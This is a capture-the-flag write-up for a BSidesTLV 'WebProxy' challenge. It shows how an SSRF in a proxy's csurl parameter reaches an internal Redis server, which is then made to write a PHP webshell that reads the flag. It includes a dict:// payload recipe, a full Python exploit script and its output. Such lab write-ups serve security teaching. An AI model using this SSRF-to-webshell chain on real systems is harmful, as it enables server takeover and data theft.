WebProxy

Description

WebProxy

Solution

We visit the attached website, and as expected, see the proxied webpage.

Let's see what else we can find by changing the csurl parameter to something a bit more interesting:

root@kali:/media/sf_CTFs/bsidestlv/WebProxy# curl https://webproxy.ctf.bsidestlv.com/?csurl=http://127.0.0.1

As a response, we get a table with the following content:

Service name:IP Address:Port:
Redis10.42.144.386379
NGINX + PHP10.42.144.3880
NGINX + PHP10.42.253.18180

So, we have a Redis DB and a PHP server on the same IP!

Before we continue to the Redis server, let's take a look at what the PHP server is serving:

root@kali:/media/sf_CTFs/bsidestlv/WebProxy# curl https://webproxy.ctf.bsidestlv.com/?csurl=http://10.42.144.38
<!DOCTYPE html>
<html>
<head>
        <title>NOTICE!!</title>
</head>
<body>
        <h1>Im removing my files every 10 seconds!!</h1>
</body>
</html>

Well, that's good to know. Makes perfect sense.

Now, back to Redis. It turns out that Redis is very forgiving when it comes to accepting commands: Redis is able to ignore a good amount of "noise" and successfully execute the commands hiding inside. In our case, the "noise" is an HTTP request.

PayloadAllTheThings has a great recipe for exploiting this:

# Getting a webshell
url=dict://127.0.0.1:6379/CONFIG%20SET%20dir%20/var/www/html
url=dict://127.0.0.1:6379/CONFIG%20SET%20dbfilename%20file.php
url=dict://127.0.0.1:6379/SET%20mykey%20"<\x3Fphp system($_GET[0])\x3F>"
url=dict://127.0.0.1:6379/SAVE

So basically the plan is to use the recipe above to create a webshell, and then use it to find the flag.

Here's the script:

import requests

IP_ADDR = "10.42.144.38"

SHELL_NAME = 'shell.php'

def send_to_proxy(csurl):
    print(f"Sending request to: '{csurl}'")
    cookies = cookies = {'BSidesTLV': '34aa0da142bb608e2be8d1b644c25bffe6fad5a5'}
    r = requests.get(f"https://webproxy.ctf.bsidestlv.com/?csurl={csurl}", cookies = cookies)
    return r.text

commands = [
    r'CONFIG SET dir /var/www/html',
    r'CONFIG SET dbfilename {}'.format(SHELL_NAME),
    r'SET mykey "<\x3Fphp echo \"\\n\"; system($_GET[\'command\']); exit;\x3F>"',
    r'SAVE'
]

for command in commands:
    csurl = f"dict://{IP_ADDR}:6379/{command}"
    send_to_proxy(csurl)

print(send_to_proxy(f"http://{IP_ADDR}:80/{SHELL_NAME}?command=cat $(find / -name flag.txt)"))

Output:

root@kali:/media/sf_CTFs/bsidestlv/WebProxy# python3 solve.py
Sending request to: 'dict://10.42.144.38:6379/CONFIG SET dir /var/www/html'
Sending request to: 'dict://10.42.144.38:6379/CONFIG SET dbfilename shell.php'
Sending request to: 'dict://10.42.144.38:6379/SET mykey2 "<\x3Fphp echo \"\\n\"; system($_GET[\'command\']); exit;\x3F>"'
Sending request to: 'dict://10.42.144.38:6379/SAVE'
Sending request to: 'http://10.42.144.38:80/shell.php?command=cat $(find / -name flag.txt)'
REDIS0006 mykey
BsidesTLV2020{55rf_Is_S0_C00l!!}